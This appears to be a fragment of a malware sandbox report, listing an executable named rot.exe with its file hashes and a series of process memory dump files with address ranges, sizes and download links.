1cfd3a01a891cd65b65ae1a2e380e95ebf3ef1c4e23814a9b272dbbe70942107b42442f87e8482453731781cf6819ab9a5d443530eeed05f22024f70c88e28a1

Download Submit
C:\Users\Admin\Music\rot.exe

Filesize
21.7MB

MD5
d2408c5a4fedfde4a21b6cc6ec67ba09

SHA1
428ad0cc83c443f6335096301b8a70e215a32573

SHA256
0f8786916858d2a43008eca624dcf0f49265baded8f73185a878d0a7eafd20c0

SHA512
b65c69e9119941b78dc6a59ee7197a90de6a8b0cb0434af8bfbaa9a9e1845f92bd8bde6046a61a9cb5d03a64e90cfe08a1d80c0e156593c6d8a878adc728ee29

Download Submit
memory/752-296-0x0000000005710000-0x0000000005720000-memory.dmp

Filesize
64KB

Download
memory/752-292-0x0000000005750000-0x00000000057EC000-memory.dmp

Filesize
624KB

Download
memory/752-295-0x00000000057F0000-0x0000000005882000-memory.dmp

Filesize
584KB

Download
memory/752-291-0x0000000000AF0000-0x0000000000CA6000-memory.dmp

Filesize
1.7MB

Download
memory/752-297-0x00000000059C0000-0x00000000059CA000-memory.dmp

Filesize
40KB

Download
memory/752-298-0x0000000074580000-0x0000000074D30000-memory.dmp

Filesize
7.7MB

Download
memory/752-300-0x0000000005710000-0x0000000005720000-memory.dmp

Filesize
64KB

Download
memory/752-290-0x0000000074580000-0x0000000074D30000-memory.dmp

Filesize
7.7MB

Download
memory/1788-241-0x0000000000400000-0x0000000000432000-memory.dmp

Filesize
200KB

Download
memory/1788-233-0x0000000000400000-0x0000000000432000-memory.dmp

Filesize
200KB

Download
memory/1788-237-0x0000000010000000-0x00000000100E2000-memory.dmp

Filesize
904KB

Download
memory/1800-201-0x00000000053B0000-0x00000000053C0000-memory.dmp

Filesize
64KB

Download
memory/1800-214-0x0000000074650000-0x0000000074E00000-memory.dmp

Filesize
7.7MB

Download
memory/1800-212-0x00000000053B0000-0x00000000053C0000-memory.dmp

Filesize
64KB

Download
memory/1800-200-0x0000000074650000-0x0000000074E00000-memory.dmp

Filesize
7.7MB

Download
memory/2880-216-0x0000000003320000-0x0000000003330000-memory.dmp

Filesize
64KB

Download
memory/2880-230-0x0000000074650000-0x0000000074E00000-memory.dmp

Filesize
7.7MB

Download
memory/2880-228-0x0000000003320000-0x0000000003330000-memory.dmp

Filesize
64KB

Download
memory/2880-217-0x0000000003320000-0x0000000003330000-memory.dmp

Filesize
64KB

Download
memory/2880-215-0x0000000074650000-0x0000000074E00000-memory.dmp

Filesize
7.7MB

Download
memory/3108-281-0x000000007F0A0000-0x000000007F0B0000-memory.dmp

Filesize
64KB

Download
memory/3108-283-0x00000000074E0000-0x00000000074FA000-memory.dmp

Filesize
104KB

Download
memory/3108-294-0x0000000074580000-0x0000000074D30000-memory.dmp

Filesize
7.7MB

Download
memory/3108-245-0x0000000074580000-0x0000000074D30000-memory.dmp

Filesize
7.7MB

Download
memory/3108-246-0x00000000024A0000-0x00000000024B0000-memory.dmp

Filesize
64KB

Download
memory/3108-247-0x00000000024A0000-0x00000000024B0000-memory.dmp

Filesize
64KB

Download
memory/3108-287-0x0000000008450000-0x00000000089F4000-memory.dmp

Filesize
5.6MB

Download
memory/3108-286-0x0000000007550000-0x0000000007572000-memory.dmp

Filesize
136KB

Download
memory/3108-259-0x00000000024A0000-0x00000000024B0000-memory.dmp

Filesize
64KB

Download
memory/3108-260-0x000000007F0A0000-0x000000007F0B0000-memory.dmp

Filesize
64KB

Download
memory/3108-261-0x00000000064B0000-0x00000000064E2000-memory.dmp

Filesize
200KB

Download
memory/3108-262-0x00000000703A0000-0x00000000703EC000-memory.dmp

Filesize
304KB

Download
memory/3108-272-0x0000000004BB0000-0x0000000004BCE000-memory.dmp

Filesize
120KB

Download
memory/3108-273-0x0000000007820000-0x0000000007E9A000-memory.dmp

Filesize
6.5MB

Download
memory/3108-274-0x00000000071C0000-0x00000000071DA000-memory.dmp

Filesize
104KB

Download
memory/3108-275-0x0000000074580000-0x0000000074D30000-memory.dmp

Filesize
7.7MB

Download
memory/3108-276-0x0000000007210000-0x000000000721A000-memory.dmp

Filesize
40KB

Download
memory/3108-277-0x00000000024A0000-0x00000000024B0000-memory.dmp

Filesize
64KB

Download
memory/3108-278-0x00000000024A0000-0x00000000024B0000-memory.dmp

Filesize
64KB

Download
memory/3108-279-0x0000000007440000-0x00000000074D6000-memory.dmp

Filesize
600KB

Download
memory/3108-280-0x00000000024A0000-0x00000000024B0000-memory.dmp

Filesize
64KB

Download
memory/3108-284-0x0000000007410000-0x0000000007418000-memory.dmp

Filesize
32KB

Download
memory/3108-282-0x0000000007200000-0x000000000720E000-memory.dmp

Filesize
56KB

Download
memory/3356-198-0x0000000004A80000-0x0000000004A90000-memory.dmp

Filesize
64KB

Download
memory/3356-184-0x0000000074650000-0x0000000074E00000-memory.dmp

Filesize
7.7MB

Download
memory/3356-186-0x0000000004A80000-0x0000000004A90000-memory.dmp

Filesize
64KB

Download
memory/3356-185-0x0000000004A80000-0x0000000004A90000-memory.dmp

Filesize
64KB

Download
memory/3356-199-0x0000000074650000-0x0000000074E00000-memory.dmp

Filesize
7.7MB

Download
memory/3712-150-0x0000000005370000-0x0000000005392000-memory.dmp

Filesize
136KB

Download
memory/3712-151-0x0000000005C60000-0x0000000005CC6000-memory.dmp

Filesize
408KB

Download
memory/3712-146-0x0000000074650000-0x0000000074E00000-memory.dmp

Filesize
7.7MB

Download
memory/3712-147-0x0000000002D30000-0x0000000002D40000-memory.dmp

Filesize
64KB

Download
memory/3712-148-0x0000000002D80000-0x0000000002DB6000-memory.dmp

Filesize
216KB

Download
memory/3712-166-0x0000000074650000-0x0000000074E00000-memory.dmp

Filesize
7.7MB

Download
memory/3712-163-0x0000000002D30000-0x0000000002D40000-memory.dmp

Filesize
64KB

Download
memory/3712-162-0x00000000063D0000-0x00000000063EE000-memory.dmp

Filesize
120KB

Download
memory/3712-157-0x0000000005CD0000-0x0000000005D36000-memory.dmp

Filesize
408KB

Download
memory/3712-149-0x0000000005400000-0x0000000005A28000-memory.dmp

Filesize
6.2MB

Download
memory/3796-301-0x0000000074580000-0x0000000074D30000-memory.dmp

Filesize
7.7MB

Download
memory/3796-302-0x0000000000CF0000-0x0000000000EA6000-memory.dmp

Filesize
1.7MB

Download
memory/4376-183-0x0000000074650000-0x0000000074E00000-memory.dmp

Filesize
7.7MB

Download
memory/4376-170-0x0000000005420000-0x0000000005430000-memory.dmp

Filesize
64KB

Download
memory/4376-182-0x0000000005420000-0x0000000005430000-memory.dmp

Filesize
64KB

Download
memory/4376-168-0x0000000074650000-0x0000000074E00000-memory.dmp

Filesize
7.7MB

Download
memory/4376-169-0x0000000005420000-0x0000000005430000-memory.dmp

Filesize
64KB

Download